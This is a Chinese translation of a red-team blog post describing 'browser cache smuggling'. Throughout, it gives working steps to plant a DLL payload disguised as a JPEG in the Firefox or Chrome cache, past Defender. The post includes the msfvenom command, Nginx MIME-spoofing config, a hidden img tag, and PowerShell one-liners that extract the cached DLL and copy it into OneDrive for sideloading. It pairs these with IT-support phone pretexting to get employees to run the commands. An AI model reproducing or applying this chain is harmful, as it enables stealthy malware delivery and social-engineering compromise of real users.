在红队活动中,我经常使用社会工程让我客户的一名员工在他们的计算机上运行我的恶意代码,从而允许我访问他们的系统。我使用的典型方法是打电话给他们,告诉他们我来自 IT 支持,然后让他们访问一个官方网页,其中包含他们需要运行的一些 PowerShell 代码,以修复一些虚构的问题问题。
然而,这种方法对于安全供应商来说是众所周知的,如今几乎所有反恶意软件和 EDR 产品都会阻止或至少对任何可疑的 PowerShell 代码发出警报,尤其是下载有效负载然后执行它的代码。我想找到另一种更隐蔽的方式来向目标用户传递有效负载。
因此,我问自己的第一个问题是,我可以操纵操作系统每天使用哪些机制来传播恶意软件?然后它突然出现在我的脑海中:浏览器缓存!
在这篇博文中,我将介绍一种技术,攻击者可以利用该技术对目标员工进行社会工程以访问网站。然后,该网站将默默地将 DLL 有效负载伪装成图像放置在浏览器的缓存中。在同一个网站上,用户经过社交工程,运行一个看起来良性的 PowerShell Oneliner,将 DLL 有效负载移动到一个文件夹,并在其中自动执行。我还将展示我在进行这项研究时发现的有关 Defender 的其他一些有趣的事情。
I/ 什么是浏览器缓存?
当您在互联网上导航时,您的浏览器会加载大量文件,例如图像、视频、CSS、JavaScript 等。加载同一页面两次意味着浏览器将下载相同的文件两次。这是没有用的,而且需要大量的CPU资源以及网络带宽。
现代浏览器实现了一种机制,允许它们在本地存储这些文件,这样就不需要每次都下载它们。这种机制称为浏览器缓存。
如果我们看看 Windows 上的 Firefox 是如何工作的,我们会发现 AppData/Local 中有一个 Firefox 目录,它存储看起来像是缓存文件的内容:
文件不少,大约300MB:
现在让我们清除此目录并导航到https://orangecyberdefense.com网站。当我们导航时,您将看到添加了新文件:
那么,看来我们已经找到了一种自动下载文件的机制了!
但是,浏览器不会只缓存服务器提供的任何文件。它将缓存静态资源 - 内容不会经常更改的文件。因此,我们的浏览器主要会缓存图像、视频,有时还会缓存 JS/CSS。如果我们能够以某种方式欺骗浏览器缓存包含二进制有效负载(例如 DLL 或 EXE 文件)的文件,那就太好了。我们该怎么做呢?
II/ 操纵浏览器的缓存机制
为了检测要缓存的文件,浏览器主要依赖于 Web 服务器发送的 Content-Type 标头。例如,在下面的屏幕截图中,我们可以看到文件“avatar.jpg”是由服务器发送的,其内容类型是“image/jpeg”:
在 Linux 上,Web 服务器通常使用 /etc/mime.types 文件来了解应为特定文件返回哪种内容类型。/etc/mime.types 的内容通常如下所示:
该文件包含链接到文件扩展名的内容类型值。因此,当网络服务器(本例中为 Nginx)发现请求 avatar.jpg 文件时,它将检查 mime.types 文件以确定 .jpg 扩展名的内容类型是什么,并查看它是图像/jpeg:
作为攻击者,我们可以覆盖这些值。请记住,我们的目标是强制下载 DLL 或 EXE 文件。为此,我们只需将与 DLL 和 EXE 文件相关的内容类型从 application/x-msdos-program 更改为 image/jpeg。只需在 Nginx 配置中添加以下行即可完成此操作:
types { } default_type image/jpeg;
这将使内存中的 mime 类型映射无效,然后将未知类型的默认内容类型设置为“image/jpg”(即所有文件,因为我们首先取消了映射)。将其包含在仅与您的有效负载匹配的“位置”块中将实现所需的效果,而无需将所有内容都变成“图像”。有关上下文中的完整配置,请参阅下面的第三部分。
接下来,我们必须生成两件事:
一个 DLL,在本例中是一个简单的 DLL,将运行通过 MSFVenom 生成的 calc.exe:
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f dll > calc.dll
DLL 嵌入到 img 标签中的 HTML 页面:
<html>
<body>
<h1>Browser cache smuggling</h1>
<img src="calc.dll" style="display: none;"></img>
</body>
</html>
然后我们清空 Firefox 的缓存,重新加载 HTML 页面并看到文件已下载:
考虑到缓存文件的大小,我们可以得出结论,以 75E... 开头的文件是我们的 calc DLL。可以肯定的是,我们可以在 Firefox 上加载以下页面:
about:cache?storage=disk
这列出了 Firefox 上的所有缓存文件。如果我们进行字符串查找,我们将看到 calc.dll 已被缓存:
这意味着DLL已有效地传递到系统中。如果我告诉您这种传送方法没有被防病毒软件标记怎么办?是的!Defender 正在我的目标 Windows 计算机上运行,并且它没有发出任何声音。知道为什么?因为当DLL被下载并存储在缓存中时,它被重命名为不带扩展名的随机文件名:
因此,Defender 不会扫描该文件,并且我们的 DLL 可以根据需要保留在那里!
III/ 执行情况如何?
实现此功能的典型方法是对用户进行社会工程,告诉他们系统出现问题,需要运行命令来修复它。我们告诉他们该命令位于官方网页上。当页面加载时,DLL 会被缓存到系统上。用户从网页获取命令并运行它,这会导致已经缓存的 DLL 被执行。通过这种方法,我们可以确保当用户运行命令时 DLL 仍然被缓存。
这种方法与社会工程用户运行 C2 stager 命令之间的主要区别在于,我们让用户运行的命令不会下载恶意负载,因为它已经在系统上,由浏览器缓存。这个想法是尝试让命令看起来尽可能良性,以避免怀疑或检测,并让 Firefox 通过缓存恶意软件 DLL 文件来完成肮脏的工作。
为了实现这一点,我们需要一种方法来在浏览器缓存的所有其他文件之间找到我们的 DLL。
如果我们仔细观察一下缓存的 DLL 的大小和 DLL 本身的大小,我们会发现缓存的 DLL 稍大一些:
原因是缓存的文件不仅仅是 DLL,它是一个包含 DLL 文件内容和元数据的文件。在元数据中,有Nginx服务器的HTTP响应,包含一些HTTP标头:
因此,我们需要做的就是在服务器的 HTTP 响应中创建一个标志,该标志将允许我们识别我们的 DLL。我们可以通过修改 Nginx 配置文件来实现这一点,如下所示:
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name _;
# Adding the HTTP header TAG used to find the real DLL
location /calc.dll {
# Override the mime type
types { } default_type image/jpeg;
add_header Tag DLLHERE;
}
}
如果我们重新加载 HTML 页面,我们会看到当服务器被请求提供 calc.dll 文件时,它的响应包含一个额外的 HTTP 标头来标记我们的 DLL:
使用 PowerShell 或批处理,我们可以搜索此特定字符串以在本地缓存目录中找到我们的 DLL:
现在我们知道了 DLL 在哪里,所以让我们尝试执行它。
在进行这项研究时,我意识到,一旦我将缓存文件重命名为“calc.dll”,防病毒软件就会将其标记为恶意软件(msfvenom,你知道……)。我尝试了很多方法,直到我意识到 rundll32 可以执行没有 .dll 扩展名的 DLL:
您所需要做的就是在缓存的文件名后添加一个点,然后 rundll32 将执行它。更奇怪的是,我们之前看到缓存的文件不仅仅是DLL,还有元数据,但rundll32并不关心这些,而是会执行DLL。
让用户执行 rundll32 可能会引发一些警报,即使该 DLL 已位于用户的文件系统上。另一种方法可能只是将现有的 DLL 移动到位,以便在用户打开另一个应用程序时执行它。这会产生一个更加良性的命令,它本身不会下载或执行任何内容,它只会移动现有文件。然而,这种方法确实要求您的恶意 DLL 不会被 AV 静态检测到。
下面的 PowerShell oneliner 将在缓存目录中查找 DLL,并将其移动到适当的位置,例如 OneDrive 文件夹,以便发起 DLL 侧加载攻击:
foreach($f in @("$env:LOCALAPPDATA\Mozilla\Firefox\Profiles\*.default-release\cache2\entries\")){gci $f -r|%{if(Select-String -Pattern "DLLHERE" -Path $_.FullName){cp $_.FullName $env:LOCALAPPDATA\Microsoft\OneDrive\CRYPTBASE.dll}}}
下次启动 OneDrive 时,您的恶意软件也会随之启动!
四/ 谷歌浏览器怎么样
Google Chrome 在缓存中存储文件的方式利用起来稍微复杂一些。事实上,文件不是单独存储的,它们存储在位于 %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cache\Cache_Data 文件夹中的多个数据库中:
因此,检索缓存文件意味着操作数据库,这并不容易,尤其是使用 PowerShell。此时我认为不可能将这项技术用于 Chrome,直到 @shifttymike 向我发送了这条消息:
那太棒了!这是我把事情放在一起的方法。首先我们通过msfvenom创建DLL:
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f dll > calc.dll
然后我们预先准备一个字符串来告诉我们 DLL 的起始位置:
sed -i "1s/^/INDLL/" calc.dll
并附加一个字符串来告诉我们它的结束位置:
echo -n "OUTDLL" >> calc.dll
此时我们知道我们的 DLL 位于 Chrome 缓存数据库之一的 INDLL 和 OUTDLL 标记之间,我们需要做的就是运行一些 PowerShell 代码,该代码将能够分析 Chrome 的数据库并从中提取 DLL。这可以通过以下 PowerShell oneliner 来完成:
$d="$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cache\Cache_Data\";gci $d|%{if([regex]::Matches([System.Text.Encoding]::Default.GetString([System.IO.File]::ReadAllBytes($_.FullName)),"(?<=INDLL)(.*?)(?=OUTDLL)",[System.Text.RegularExpressions.RegexOptions]::Singleline).Count-ne0){[System.IO.File]::WriteAllBytes("$d\hello.dll",[System.Text.Encoding]::Default.GetBytes($matches[0].Value))}}
有效地,我们的 DLL 被找到并提取:
然后我们可以使用rundll32来执行它:
或者将 DLL 移动到特定文件夹,如前所述。
四、结论
据我所知,我还没有看到这种恶意软件传递方法的描述。对我来说,这是一个非常酷的技巧,因为它允许红队操作员仅通过向其目标发送 URL 来强制下载恶意软件。无需诱骗目标下载恶意文件(这可能是可疑的),您唯一需要注意的就是诱骗用户运行看似良性的 Power Shell 脚本。我认为更加隐蔽;)!
最后的红队提示:如果您发现安装了浏览器的计算机或服务器,您可以查看缓存文件夹并读取缓存的文件。借助元数据,您将能够收集 DNS 主机名,从而发现内部网络上的潜在目标(嘿,vSphere :D)!
原文来自:https://blog.whiteflag.io/blog/browser-cache-smuggling/